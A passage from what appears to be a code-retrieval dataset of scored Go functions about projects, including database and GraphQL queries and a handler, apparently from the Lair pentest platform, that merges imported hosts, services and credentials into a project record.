[]bson.M{\n\t\t\t{\"$and\": []bson.M{\n\t\t\t\t{StartTimeKey: bson.M{\"$lte\": endTime}},\n\t\t\t\t{StartTimeKey: bson.M{\"$gte\": startTime}},\n\t\t\t}},\n\t\t\t{\"$and\": []bson.M{\n\t\t\t\t{FinishTimeKey: bson.M{\"$lte\": endTime}},\n\t\t\t\t{FinishTimeKey: bson.M{\"$gte\": startTime}},\n\t\t\t}},\n\t\t},\n\t}\n\treturn Find(db.Query(query).Sort([]string{CreateTimeKey}))\n}", "title": "" }, { "docid": "bfd82c30552daaa624f30ac1145d8ac1", "score": "0.4242402", "text": "func FindProjectWebhook(client graphql.Client, id string) (*ProjectWebhook, error) {\n\tvariables := make(graphql.Variables)\n\tvariables[\"id\"] = id\n\tvar sb strings.Builder\n\tsb.WriteString(\"query GoProjectWebhookQuery($id: ID) {\\n\")\n\tsb.WriteString(\"\\twork {\\n\")\n\tsb.WriteString(\"\\t\\tProjectWebhook(_id: $id) {\\n\")\n\tsb.WriteString(getProjectWebhookQueryFields())\n\tsb.WriteString(\"\\t\\t}\\n\")\n\tsb.WriteString(\"\\t}\\n\")\n\tsb.WriteString(\"}\\n\")\n\tvar res QueryOneProjectWebhookData\n\tif err := client.Query(sb.String(), variables, &res); err != nil {\n\t\treturn nil, err\n\t}\n\tif res.Data != nil {\n\t\treturn res.Data.Object, nil\n\t}\n\treturn nil, nil\n}", "title": "" }, { "docid": "b1e5c00c83e345599b86dfff7d09ccfb", "score": "0.4232486", "text": "func (q projectQuery) All(ctx context.Context, exec boil.ContextExecutor) (ProjectSlice, error) {\n\tvar o []*Project\n\n\terr := q.Bind(ctx, exec, &o)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"models: failed to assign all query results to Project slice\")\n\t}\n\n\tif len(projectAfterSelectHooks) != 0 {\n\t\tfor _, obj := range o {\n\t\t\tif err := obj.doAfterSelectHooks(ctx, exec); err != nil {\n\t\t\t\treturn o, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn o, nil\n}", "title": "" }, { "docid": "b1e5c00c83e345599b86dfff7d09ccfb", "score": "0.4232486", "text": "func (q projectQuery) All(ctx context.Context, exec boil.ContextExecutor) (ProjectSlice, error) {\n\tvar o []*Project\n\n\terr := q.Bind(ctx, exec, &o)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"models: failed to assign all query results to Project slice\")\n\t}\n\n\tif len(projectAfterSelectHooks) != 0 {\n\t\tfor _, obj := range o {\n\t\t\tif err := obj.doAfterSelectHooks(ctx, exec); err != nil {\n\t\t\t\treturn o, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn o, nil\n}", "title": "" }, { "docid": "7ac8f7d448e54db633030e83ca636e45", "score": "0.42253545", "text": "func (e *engineImpl) getProjectJobs(c context.Context, projectID string) (map[string]*CronJob, error) {\n\tds := datastore.Get(c)\n\tq := datastore.NewQuery(\"CronJob\").\n\t\tEq(\"Enabled\", true).\n\t\tEq(\"ProjectID\", projectID)\n\tentities := []*CronJob{}\n\tif err := ds.GetAll(q, &entities); err != nil {\n\t\treturn nil, errors.WrapTransient(err)\n\t}\n\tout := make(map[string]*CronJob, len(entities))\n\tfor _, job := range entities {\n\t\tif job.Enabled && job.ProjectID == projectID {\n\t\t\tout[job.JobID] = job\n\t\t}\n\t}\n\treturn out, nil\n}", "title": "" }, { "docid": "58670e0575bfa65d28782b65c668da52", "score": "0.42234167", "text": "func (a *BETAApiService) GETProjectsApiV3RatesProjectsprojectIdJson(ctx _context.Context, projectId int32) ApiGETProjectsApiV3RatesProjectsprojectIdJsonRequest {\n\treturn ApiGETProjectsApiV3RatesProjectsprojectIdJsonRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tprojectId: projectId,\n\t}\n}", "title": "" }, { "docid": "42319f2e091aa8daed89cb7a2a447570", "score": "0.42072126", "text": "func ProjectSelector(project string) string {\n\treturn LabelProject + \"=\" + project\n}", "title": "" }, { "docid": "81464bfd20a4199cd6c2086a30e02674", "score": "0.42046696", "text": "func (p rProjects) ByID(id string) (*schema.Project, error) {\n\tvar project schema.Project\n\tif err := model.Projects.Qs(p.session).ByID(id, &project); err != nil {\n\t\treturn nil, mcerr.ErrNotFound\n\t}\n\treturn &project, nil\n}", "title": "" }, { "docid": "b0a4b08a2730ef97321f22fc9a5a89d1", "score": "0.4203533", "text": "func (repo repository) ProjectSignatures(ctx context.Context, projectID string) (*models.Signatures, error) {\n\tf := logrus.Fields{\n\t\t\"functionName\": \"ProjectSignatures\",\n\t\tutils.XREQUESTID: ctx.Value(utils.XREQUESTID),\n\t\t\"projectID\": projectID,\n\t}\n\n\tindexName := SignatureProjectIDIndex\n\n\t// This is the key we want to match\n\tcondition := expression.Key(\"signature_project_id\").Equal(expression.Value(projectID))\n\n\tbuilder := expression.NewBuilder().WithProjection(buildProjection())\n\tvar filter expression.ConditionBuilder\n\tvar filterAdded bool\n\n\t// Filter condition to cater for approved and signed signatures\n\tsignatureApprovedExpression := expression.Name(\"signature_approved\").Equal(expression.Value(true))\n\tfilter = addConditionToFilter(filter, signatureApprovedExpression, &filterAdded)\n\n\tsignatureSignedExpression := expression.Name(\"signature_signed\").Equal(expression.Value(true))\n\tfilter = addConditionToFilter(filter, signatureSignedExpression, &filterAdded)\n\n\tif filterAdded {\n\t\tbuilder = builder.WithFilter(filter)\n\t}\n\tbuilder = builder.WithKeyCondition(condition)\n\n\t// Use the nice builder to create the expression\n\texpr, err := builder.Build()\n\tif err != nil {\n\t\tlog.WithFields(f).Warnf(\"error building expression for project signature query, projectID: %s, error: %v\",\n\t\t\tprojectID, err)\n\t\treturn nil, err\n\t}\n\n\t// Assemble the query input parameters\n\tqueryInput := &dynamodb.QueryInput{\n\t\tExpressionAttributeNames: expr.Names(),\n\t\tExpressionAttributeValues: expr.Values(),\n\t\tKeyConditionExpression: expr.KeyCondition(),\n\t\tProjectionExpression: expr.Projection(),\n\t\tFilterExpression: expr.Filter(),\n\t\tTableName: aws.String(repo.signatureTableName),\n\t\tIndexName: aws.String(indexName), // Name of a secondary index to scan\n\t}\n\n\tresults, errQuery := repo.dynamoDBClient.Query(queryInput)\n\n\tif errQuery != nil {\n\t\tlog.WithFields(f).Warnf(\"error retrieving project signature ID for project: %s, error: %v\",\n\t\t\tprojectID, errQuery)\n\t\treturn nil, errQuery\n\t}\n\n\t// Convert the list of DB models to a list of response models\n\tsigs, modelErr := repo.buildProjectSignatureModels(ctx, results, projectID, LoadACLDetails)\n\tif modelErr != nil {\n\t\tlog.WithFields(f).Warnf(\"error converting DB model to response model for signatures with project %s, error: %v\",\n\t\t\tprojectID, modelErr)\n\t\treturn nil, modelErr\n\t}\n\n\treturn &models.Signatures{\n\t\tProjectID: projectID,\n\t\tSignatures: sigs,\n\t}, nil\n}", "title": "" }, { "docid": "a3e5babab04fe88401dfee551571fd10", "score": "0.41928393", "text": "func (si *ModRuleStoreItem) calculatePatch(templateContext *PatchTemplateContext, jsonv interface{}, operationLog logr.Logger) (evanjsonpatch.Patch, error) {\n\tvar log logr.Logger\n\tvar operationIndex = 0\n\n\t// If we are getting operation-specific log, use it, otherwise, use the singleton log we have for the ModRuleStore item.\n\tif operationLog != nil {\n\t\tlog = operationLog.WithName(\"core\")\n\t} else {\n\t\tlog = si.log\n\t}\n\n\tb := strings.Builder{}\n\n\tb.WriteRune('[')\n\n\tfor _, cop := range si.compiledJSONPatch {\n\t\t// Calculate the actual set of patches to be performed.\n\t\t// If there is no select expression, just create a single operation with the given path.\n\t\t// If there is a select provided, execute the select query and generate one patch operation per result\n\t\t// using the paths generated by gval.\n\t\tpathItems := []patchPathItem{}\n\n\t\tif cop.patchSelect != nil {\n\t\t\tresult, err := cop.patchSelect(context.Background(), jsonv)\n\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tfor key, val := range result.(map[string]interface{}) {\n\t\t\t\tselectKeyParts := keyPartsFromSelectKey(key)\n\t\t\t\tpath := pathFromKeyParts(selectKeyParts, cop.pathSprintfTemplate)\n\n\t\t\t\tif strings.Contains(path, \"(BADINDEX)\") {\n\t\t\t\t\treturn nil, fmt.Errorf(\"failed to generate Patch path from path template \\\"%v\\\": generated value \\\"%v\\\" \", cop.path, path)\n\t\t\t\t}\n\n\t\t\t\tpathItems = append(pathItems, patchPathItem{\n\t\t\t\t\tpath: path,\n\t\t\t\t\tselectKeyParts: selectKeyParts,\n\t\t\t\t\tselectedItem: val,\n\t\t\t\t})\n\t\t\t}\n\t\t} else {\n\t\t\t// No select expression? Add a simple path with no select key parts.\n\t\t\tpathItems = append(pathItems, patchPathItem{\n\t\t\t\tpath: cop.path,\n\t\t\t\tselectKeyParts: []interface{}{},\n\t\t\t\tselectedItem: nil,\n\t\t\t})\n\t\t}\n\n\t\tfor _, pathItem := range pathItems {\n\n\t\t\tvb := strings.Builder{}\n\n\t\t\t// Bake in the select-key parts and selected item into the template context.\n\t\t\ttemplateContext.SelectKeyParts = pathItem.selectKeyParts\n\t\t\ttemplateContext.SelectedItem = pathItem.selectedItem\n\n\t\t\terr := cop.valueTemplate.Execute(&vb, templateContext)\n\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// Here's the magic - convert the result to a JSON value.\n\t\t\tjsonValue, err := modRuleValueToJSONValue(vb.String())\n\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif operationIndex > 0 {\n\t\t\t\tb.WriteRune(',')\n\t\t\t}\n\n\t\t\tfmt.Fprintf(&b, `{\"op\": \"%v\", \"path\": \"%v\", \"value\": %v}`, cop.op, pathItem.path, jsonValue)\n\n\t\t\toperationIndex++\n\t\t}\n\t}\n\n\tb.WriteRune(']')\n\n\tpatchText := b.String()\n\tepatch, err := evanjsonpatch.DecodePatch([]byte(patchText))\n\n\tif err != nil {\n\t\tlog.Error(err, \"invalid JSON patch text\", \"patch text\", patchText)\n\t} else {\n\t\tlog.V(1).Info(\"modrule patch\", \"modrule\", si.modRule.GetNamespacedName(), \"patch\", epatch)\n\t}\n\n\treturn epatch, err\n}", "title": "" }, { "docid": "dd9819cd56182d5c11b5f67bed3dcc36", "score": "0.4188118", "text": "func (r *ProjectsService) PatchTraces(projectId string, traces *Traces) *ProjectsPatchTracesCall {\n\tc := &ProjectsPatchTracesCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.projectId = projectId\n\tc.traces = traces\n\treturn c\n}", "title": "" }, { "docid": "4ef5d5b03e283259b5f57d67a1937280", "score": "0.4186124", "text": "func (a *FormsApiService) GETProjectsApiV3FormsformIdDraftJson(ctx _context.Context, formId int32) ApiGETProjectsApiV3FormsformIdDraftJsonRequest {\n\treturn ApiGETProjectsApiV3FormsformIdDraftJsonRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tformId: formId,\n\t}\n}", "title": "" }, { "docid": "0537ea62a1519b9c1ae59775c9c89021", "score": "0.4180283", "text": "func (a *App) UpdateProject(w http.ResponseWriter, req *http.Request) {\n\n\tdb := context.Get(req, \"db\").(*mgo.Database)\n\tif db == nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Unable to connect to database\"})\n\t\treturn\n\t}\n\tvars := mux.Vars(req)\n\tpid, ok := vars[\"pid\"]\n\tif !ok {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Missing of invalid project id\"})\n\t\treturn\n\t}\n\n\tbody, err := ioutil.ReadAll(req.Body)\n\tif err != nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Unable to read request body\"})\n\t\treturn\n\t}\n\tvar doc lair.Project\n\tif err := json.Unmarshal(body, &doc); err != nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: err.Error()})\n\t\treturn\n\t}\n\n\tforcePorts := false\n\t// Read 'force-ports' URL parameter\n\tforcePortsStr := req.FormValue(\"force-ports\")\n\tif forcePortsStr == \"true\" {\n\t\tforcePorts = true\n\t}\n\n\tlimitHosts := false\n\t// Read 'all-hosts' URL parameter\n\tlimitHostsStr := req.FormValue(\"limit-hosts\")\n\tif limitHostsStr == \"true\" {\n\t\tlimitHosts = true\n\t}\n\n\t// Start of import\n\n\t// Validate versions\n\tvar v lair.Version\n\tif err := db.C(a.C.Versions).Find(nil).One(&v); err != nil || v.Value != a.Version {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Incompatible versions\"})\n\t\treturn\n\t}\n\n\tdoc.ID = pid\n\t// Validate required fields\n\tif doc.ID == \"\" || doc.Commands == nil || len(doc.Commands) <= 0 || doc.Tool == \"\" {\n\t\ta.R.JSON(w, http.StatusBadRequest, &Response{Status: \"Error\", Message: \"Missing required field or invalid format\"})\n\t\treturn\n\t}\n\n\t// Lookup project\n\tvar project lair.Project\n\tif err := db.C(a.C.Projects).FindId(doc.ID).One(&project); err != nil {\n\t\ta.R.JSON(w, http.StatusNotFound, &Response{Status: \"Error\", Message: \"Invalid project id\"})\n\t\treturn\n\t}\n\n\tfor _, transform := range a.Transforms {\n\t\ttransform.Update(&doc)\n\t}\n\n\t// Append new commands\n\tproject.Commands = append(project.Commands, doc.Commands...)\n\n\t// Append new notes\n\tproject.Notes = removeDuplicateNotes(append(project.Notes, doc.Notes...))\n\n\t// Add owner if necessary\n\tif project.Owner == \"\" {\n\t\tproject.Owner = doc.Owner\n\t}\n\n\t// Add industry if necessary\n\tif project.Industry == \"\" {\n\t\tproject.Industry = doc.Industry\n\t}\n\n\t// Add creation date if necessary\n\tif project.CreatedAt == \"\" {\n\t\tproject.CreatedAt = doc.CreatedAt\n\t}\n\n\t// Add description if necessary\n\tif project.Description == \"\" {\n\t\tproject.Description = doc.Description\n\t}\n\n\t// Used for tracking any hosts that were skipped for exceeding MAXPORTS limit\n\tskippedHosts := map[string]bool{}\n\n\t// Insert auth interfaces\n\tfor _, docAI := range doc.AuthInterfaces {\n\t\tai := &lair.AuthInterface{\n\t\t\tID: bson.NewObjectId().Hex(),\n\t\t\tProjectID: pid,\n\t\t\tIsMultifactor: docAI.IsMultifactor,\n\t\t\tKind: docAI.Kind,\n\t\t\tURL: docAI.URL,\n\t\t\tDescription: docAI.Description,\n\t\t}\n\t\tdb.C(a.C.AuthInterfaces).Insert(ai)\n\t}\n\n\t// Insert credentials\n\tfor _, docCred := range doc.Credentials {\n\t\tm := bson.M{\n\t\t\t\"projectId\": pid,\n\t\t\t\"username\": docCred.Username,\n\t\t\t\"hash\": docCred.Hash,\n\t\t}\n\t\t// Determine if the credential is already in database\n\t\tcred := &lair.Credential{}\n\t\tif err := db.C(a.C.Credentials).Find(m).One(&cred); err != nil {\n\t\t\tcred.ID = bson.NewObjectId().Hex()\n\t\t\tcred.ProjectID = pid\n\t\t\tcred.Username = docCred.Username\n\t\t\tcred.Password = docCred.Password\n\t\t\tcred.Format = docCred.Format\n\t\t\tcred.Hash = docCred.Hash\n\t\t\tcred.Host = docCred.Host\n\t\t\tcred.Service = docCred.Service\n\t\t} else {\n\t\t\tcred.Password = docCred.Password\n\t\t\tcred.Format = docCred.Format\n\t\t\tcred.Host = docCred.Host\n\t\t}\n\n\t\t// Upsert changes\n\t\tdb.C(a.C.Credentials).UpsertId(cred.ID, cred)\n\t}\n\n\t// Insert People\n\tfor _, docPerson := range doc.People {\n\t\tperson := &lair.Person{\n\t\t\tID: bson.NewObjectId().Hex(),\n\t\t\tProjectID: pid,\n\t\t\tPrincipalName: docPerson.PrincipalName,\n\t\t\tSAMAccountName: docPerson.SAMAccountName,\n\t\t\tDistinguishedName: docPerson.DistinguishedName,\n\t\t\tFirstName: docPerson.FirstName,\n\t\t\tMiddleName: docPerson.MiddleName,\n\t\t\tLastName: docPerson.LastName,\n\t\t\tDisplayName: docPerson.DisplayName,\n\t\t\tDepartment: docPerson.Department,\n\t\t\tDescription: docPerson.Description,\n\t\t\tAddress: docPerson.Address,\n\t\t\tEmails: docPerson.Emails,\n\t\t\tPhones: docPerson.Phones,\n\t\t\tReferences: docPerson.References,\n\t\t\tGroups: docPerson.Groups,\n\t\t\tLastLogon: docPerson.LastLogon,\n\t\t\tLastLogoff: docPerson.LastLogoff,\n\t\t\tLoggedIn: docPerson.LoggedIn,\n\t\t}\n\t\tdb.C(a.C.People).Insert(person)\n\t}\n\n\t// Insert netblocks\n\tfor _, docNetblock := range doc.Netblocks {\n\t\tnetblock := &lair.Netblock{}\n\t\tknownNetblock := true\n\t\t// Determine if the netblock is already in database\n\t\tm := bson.M{\"projectId\": pid, \"cidr\": docNetblock.CIDR}\n\t\tif err := db.C(a.C.Netblocks).Find(m).One(&netblock); err != nil {\n\t\t\tknownNetblock = false\n\t\t}\n\n\t\t// Used for checking if the netblock has changed during import\n\t\tdata := []byte(fmt.Sprintf(\"%+v\", netblock))\n\t\tpreMD5 := fmt.Sprintf(\"%x\", md5.Sum(data))\n\n\t\tnetblock.ProjectID = pid\n\t\tnetblock.CIDR = docNetblock.CIDR\n\n\t\tif netblock.ASN == \"\" {\n\t\t\tnetblock.ASN = docNetblock.ASN\n\t\t}\n\n\t\tif netblock.ASNCountryCode == \"\" {\n\t\t\tnetblock.ASNCountryCode = docNetblock.ASNCountryCode\n\t\t}\n\n\t\tif netblock.ASNCIDR == \"\" {\n\t\t\tnetblock.ASNCIDR = docNetblock.ASNCIDR\n\t\t}\n\n\t\tif netblock.ASNDate == \"\" {\n\t\t\tnetblock.ASNDate = docNetblock.ASNDate\n\t\t}\n\n\t\tif netblock.ASNRegistry == \"\" {\n\t\t\tnetblock.ASNRegistry = docNetblock.ASNRegistry\n\t\t}\n\n\t\tif netblock.AbuseEmails == \"\" {\n\t\t\tnetblock.AbuseEmails = docNetblock.AbuseEmails\n\t\t}\n\n\t\tif netblock.MiscEmails == \"\" {\n\t\t\tnetblock.MiscEmails = docNetblock.MiscEmails\n\t\t}\n\n\t\tif netblock.TechEmails == \"\" {\n\t\t\tnetblock.TechEmails = docNetblock.TechEmails\n\t\t}\n\n\t\tif netblock.Name == \"\" {\n\t\t\tnetblock.Name = docNetblock.Name\n\t\t}\n\n\t\tif netblock.Address == \"\" {\n\t\t\tnetblock.Address = docNetblock.Address\n\t\t}\n\n\t\tif netblock.State == \"\" {\n\t\t\tnetblock.State = docNetblock.State\n\t\t}\n\n\t\tif netblock.City == \"\" {\n\t\t\tnetblock.City = docNetblock.City\n\t\t}\n\n\t\tif netblock.Country == \"\" {\n\t\t\tnetblock.Country = docNetblock.Country\n\t\t}\n\n\t\tif netblock.PostalCode == \"\" {\n\t\t\tnetblock.PostalCode = docNetblock.PostalCode\n\t\t}\n\n\t\tif netblock.Created == \"\" {\n\t\t\tnetblock.Created = docNetblock.Created\n\t\t}\n\n\t\tif netblock.Updated == \"\" {\n\t\t\tnetblock.Updated = docNetblock.Updated\n\t\t}\n\n\t\tif netblock.Description == \"\" {\n\t\t\tnetblock.Description = docNetblock.Description\n\t\t}\n\n\t\tif netblock.Handle == \"\" {\n\t\t\tnetblock.Handle = docNetblock.Handle\n\t\t}\n\n\t\tif !knownNetblock {\n\t\t\tmsg := fmt.Sprintf(\"%s - New netblock found: %s\", time.Now().String(), docNetblock.CIDR)\n\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\t\t}\n\n\t\tdata = []byte(fmt.Sprintf(\"%+v\", netblock))\n\t\tpostMD5 := fmt.Sprintf(\"%x\", md5.Sum(data))\n\n\t\t// Check if host was changed\n\t\tif preMD5 != postMD5 {\n\t\t\tif !knownNetblock {\n\t\t\t\tid := bson.NewObjectId().Hex()\n\t\t\t\tnetblock.ID = id\n\t\t\t}\n\n\t\t\t// Upsert changes\n\t\t\tdb.C(a.C.Netblocks).UpsertId(netblock.ID, netblock)\n\t\t}\n\t}\n\n\t// Process the hosts\n\tfor _, docHost := range doc.Hosts {\n\t\tif len(docHost.Services) > MAXPORTS && !forcePorts {\n\t\t\t// Host exceeds max number of allowable ports. Skip it.\n\t\t\tskippedHosts[docHost.IPv4] = true\n\t\t\tmsg := fmt.Sprintf(\n\t\t\t\t\"%s - Host skipped. Exceeded maximum number of ports: %s\",\n\t\t\t\ttime.Now().String(),\n\t\t\t\tdocHost.IPv4,\n\t\t\t)\n\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\t\t\tcontinue\n\t\t}\n\n\t\tif len(docHost.Services) <= 0 && limitHosts {\n\t\t\t// Host has no open ports and client opted to ignore these hosts. Skit it.\n\t\t\tskippedHosts[docHost.IPv4] = true\n\t\t\tmsg := fmt.Sprintf(\n\t\t\t\t\"%s - Host skipped. No open ports: %s\",\n\t\t\t\ttime.Now().String(),\n\t\t\t\tdocHost.IPv4,\n\t\t\t)\n\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\t\t\tcontinue\n\t\t}\n\n\t\tif !validIPAddress.MatchString(docHost.IPv4) {\n\t\t\tskippedHosts[docHost.IPv4] = true\n\t\t\tmsg := fmt.Sprintf(\n\t\t\t\t\"%s - Host skipped. Invalid IP address format: %s\",\n\t\t\t\ttime.Now().String(),\n\t\t\t\tdocHost.IPv4,\n\t\t\t)\n\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\t\t\tcontinue\n\t\t}\n\t\thost := &lair.Host{}\n\t\tknownHost := true\n\t\t// Determine if the host is already in database\n\t\tm := bson.M{\"projectId\": pid, \"ipv4\": docHost.IPv4}\n\t\tif err := db.C(a.C.Hosts).Find(m).One(&host); err != nil {\n\t\t\tknownHost = false\n\t\t}\n\n\t\t// Used for checking if the host values changed during import\n\t\tdata := []byte(fmt.Sprintf(\"%+v\", host))\n\t\tpreMD5 := fmt.Sprintf(\"%x\", md5.Sum(data))\n\n\t\t// Initialize basic host info\n\t\thost.ProjectID = pid\n\t\thost.IPv4 = docHost.IPv4\n\t\thost.LongIPv4Addr = ip.IpToInt(net.ParseIP(host.IPv4))\n\n\t\tif host.MAC == \"\" {\n\t\t\tif len(docHost.MAC) > 200 {\n\t\t\t\t// Don't let string of MACs exceed 200 chars in length\n\t\t\t\tdocHost.MAC = docHost.MAC[:200]\n\t\t\t\tmsg := fmt.Sprintf(\n\t\t\t\t\t\"%s - MAC data cropped. Excessive MAC address values: %s\",\n\t\t\t\t\ttime.Now().String(),\n\t\t\t\t\tdocHost.IPv4,\n\t\t\t\t)\n\t\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\t\t\t}\n\t\t\thost.MAC = docHost.MAC\n\t\t}\n\n\t\t// Append all host notes\n\t\thost.Notes = removeDuplicateNotes(append(host.Notes, docHost.Notes...))\n\t\t// Append all tags\n\t\thost.Tags = removeDuplicates(append(host.Tags, docHost.Tags...))\n\n\t\t// Add any new files\n\t\tfor idx, docFile := range docHost.Files {\n\t\t\tknownFile := false\n\t\t\tfor k, f := range host.Files {\n\t\t\t\tif docFile.FileName == f.FileName {\n\t\t\t\t\t// File exists, update URL\n\t\t\t\t\tknownFile = true\n\t\t\t\t\thost.Files[k].URL = docFile.URL\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !knownFile {\n\t\t\t\thost.Files = append(host.Files, docHost.Files[idx])\n\t\t\t}\n\t\t}\n\n\t\t// Add any new hostnames\n\t\tfor _, docHostname := range docHost.Hostnames {\n\t\t\tfound := false\n\t\t\tfor _, dbHostname := range host.Hostnames {\n\t\t\t\tif dbHostname == docHostname {\n\t\t\t\t\tfound = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !found {\n\t\t\t\thost.Hostnames = removeDuplicates(append(host.Hostnames, docHostname))\n\t\t\t\thost.LastModifiedBy = doc.Tool\n\t\t\t}\n\t\t}\n\n\t\t// Add any new OS\n\t\tif host.OS.Weight < docHost.OS.Weight {\n\t\t\thost.OS = docHost.OS\n\t\t\thost.LastModifiedBy = doc.Tool\n\t\t}\n\n\t\tdata = []byte(fmt.Sprintf(\"%+v\", host))\n\t\tpostMD5 := fmt.Sprintf(\"%x\", md5.Sum(data))\n\n\t\t// Check if host was changed\n\t\tif preMD5 != postMD5 {\n\t\t\thost.LastModifiedBy = doc.Tool\n\t\t\tif !knownHost {\n\t\t\t\tid := bson.NewObjectId().Hex()\n\t\t\t\thost.ID = id\n\t\t\t\thost.Status = docHost.Status\n\t\t\t\tif !a.IsValidStatus(docHost.Status) {\n\t\t\t\t\thost.Status = lair.StatusGrey\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Upsert changes\n\t\t\tdb.C(a.C.Hosts).UpsertId(host.ID, host)\n\n\t\t}\n\n\t\tif !knownHost {\n\t\t\tmsg := fmt.Sprintf(\"%s - New host found: %s\", time.Now().String(), docHost.IPv4)\n\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\t\t}\n\n\t\t// Process web directories\n\t\tfor _, docDir := range docHost.WebDirectories {\n\t\t\tm := bson.M{\n\t\t\t\t\"projectId\": pid,\n\t\t\t\t\"hostId\": host.ID,\n\t\t\t\t\"path\": docDir.Path,\n\t\t\t\t\"port\": docDir.Port,\n\t\t\t}\n\t\t\t// Determine if the web directory is already in database\n\t\t\twebDir := &lair.WebDirectory{}\n\t\t\tif err := db.C(a.C.WebDirectories).Find(m).One(&webDir); err != nil {\n\t\t\t\t// Web directory doesn't exist, create a new one\n\t\t\t\twebDir.ID = bson.NewObjectId().Hex()\n\t\t\t\twebDir.ProjectID = pid\n\t\t\t\twebDir.HostID = host.ID\n\t\t\t\twebDir.Path = docDir.Path\n\t\t\t\twebDir.Port = docDir.Port\n\t\t\t\twebDir.ResponseCode = docDir.ResponseCode\n\t\t\t\twebDir.LastModifiedBy = docDir.LastModifiedBy\n\t\t\t\twebDir.IsFlagged = docDir.IsFlagged\n\t\t\t} else {\n\t\t\t\t// Web directory exists in database, update relevant fields\n\t\t\t\twebDir.ResponseCode = docDir.ResponseCode\n\t\t\t\twebDir.LastModifiedBy = docDir.LastModifiedBy\n\t\t\t\twebDir.IsFlagged = docDir.IsFlagged\n\t\t\t}\n\n\t\t\t// Upsert changes\n\t\t\tdb.C(a.C.WebDirectories).UpsertId(webDir.ID, webDir)\n\t\t}\n\n\t\tfor _, docService := range docHost.Services {\n\n\t\t\tm := bson.M{\n\t\t\t\t\"projectId\": pid,\n\t\t\t\t\"hostId\": host.ID,\n\t\t\t\t\"port\": docService.Port,\n\t\t\t\t\"protocol\": docService.Protocol,\n\t\t\t}\n\t\t\t// Determine if the host is already in database\n\t\t\tservice := &lair.Service{}\n\t\t\tknownPort := true\n\t\t\tif err := db.C(a.C.Services).Find(m).One(&service); err != nil {\n\t\t\t\tknownPort = false\n\t\t\t}\n\n\t\t\t// Used for tracking if changes were made to service\n\t\t\tdata = []byte(fmt.Sprintf(\"%+v\", service))\n\t\t\tpreMD5 := fmt.Sprintf(\"%x\", md5.Sum(data))\n\n\t\t\tservice.HostID = host.ID\n\t\t\tservice.ProjectID = pid\n\t\t\tservice.Protocol = docService.Protocol\n\t\t\tservice.Port = docService.Port\n\n\t\t\tif service.Product == \"\" || strings.ToLower(service.Product) == \"unknown\" {\n\t\t\t\tservice.Product = docService.Product\n\t\t\t}\n\n\t\t\tif service.Service == \"\" || strings.ToLower(service.Service) == \"unknown\" || strings.Contains(service.Service, \"?\") {\n\t\t\t\tservice.Service = docService.Service\n\t\t\t}\n\n\t\t\t// Append all service notes\n\t\t\tservice.Notes = removeDuplicateNotes(append(service.Notes, docService.Notes...))\n\n\t\t\t// Add any new files\n\t\t\tfor idx, docFile := range docService.Files {\n\t\t\t\tknownFile := false\n\t\t\t\tfor k, f := range service.Files {\n\t\t\t\t\tif docFile.FileName == f.FileName {\n\t\t\t\t\t\t// File exists, update URL\n\t\t\t\t\t\tknownFile = true\n\t\t\t\t\t\tservice.Files[k].URL = docFile.URL\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !knownFile {\n\t\t\t\t\tservice.Files = append(service.Files, docService.Files[idx])\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !knownPort {\n\t\t\t\tid := bson.NewObjectId().Hex()\n\t\t\t\tservice.ID = id\n\t\t\t\tservice.Status = docService.Status\n\t\t\t\tif !a.IsValidStatus(service.Status) {\n\t\t\t\t\tservice.Status = lair.StatusGrey\n\t\t\t\t}\n\t\t\t\tmsg := fmt.Sprintf(\n\t\t\t\t\t\"%s - New service found: %d/%s (%s)\",\n\t\t\t\t\ttime.Now().String(),\n\t\t\t\t\tdocService.Port,\n\t\t\t\t\tdocService.Protocol,\n\t\t\t\t\tdocService.Service,\n\t\t\t\t)\n\t\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\t\t\t}\n\n\t\t\t// Used for tracking if changes were made to service\n\t\t\tdata = []byte(fmt.Sprintf(\"%+v\", service))\n\t\t\tpostMD5 = fmt.Sprintf(\"%x\", md5.Sum(data))\n\n\t\t\t// Upsert any changes\n\t\t\tif preMD5 != postMD5 {\n\t\t\t\tservice.LastModifiedBy = doc.Tool\n\t\t\t\tdb.C(a.C.Services).UpsertId(service.ID, service)\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, docIssue := range doc.Issues {\n\t\tpluginM := bson.M{\n\t\t\t\"$all\": docIssue.PluginIDs,\n\t\t}\n\t\tm := bson.M{\n\t\t\t\"projectId\": pid,\n\t\t\t\"pluginIds\": pluginM,\n\t\t}\n\t\tissue := &lair.Issue{}\n\t\tknownIssue := true\n\t\tif err := db.C(a.C.Issues).Find(m).One(&issue); err != nil {\n\t\t\tknownIssue = false\n\t\t}\n\n\t\tif !knownIssue {\n\t\t\thostList := []lair.IssueHost{}\n\t\t\t// Build a list of hosts NOT 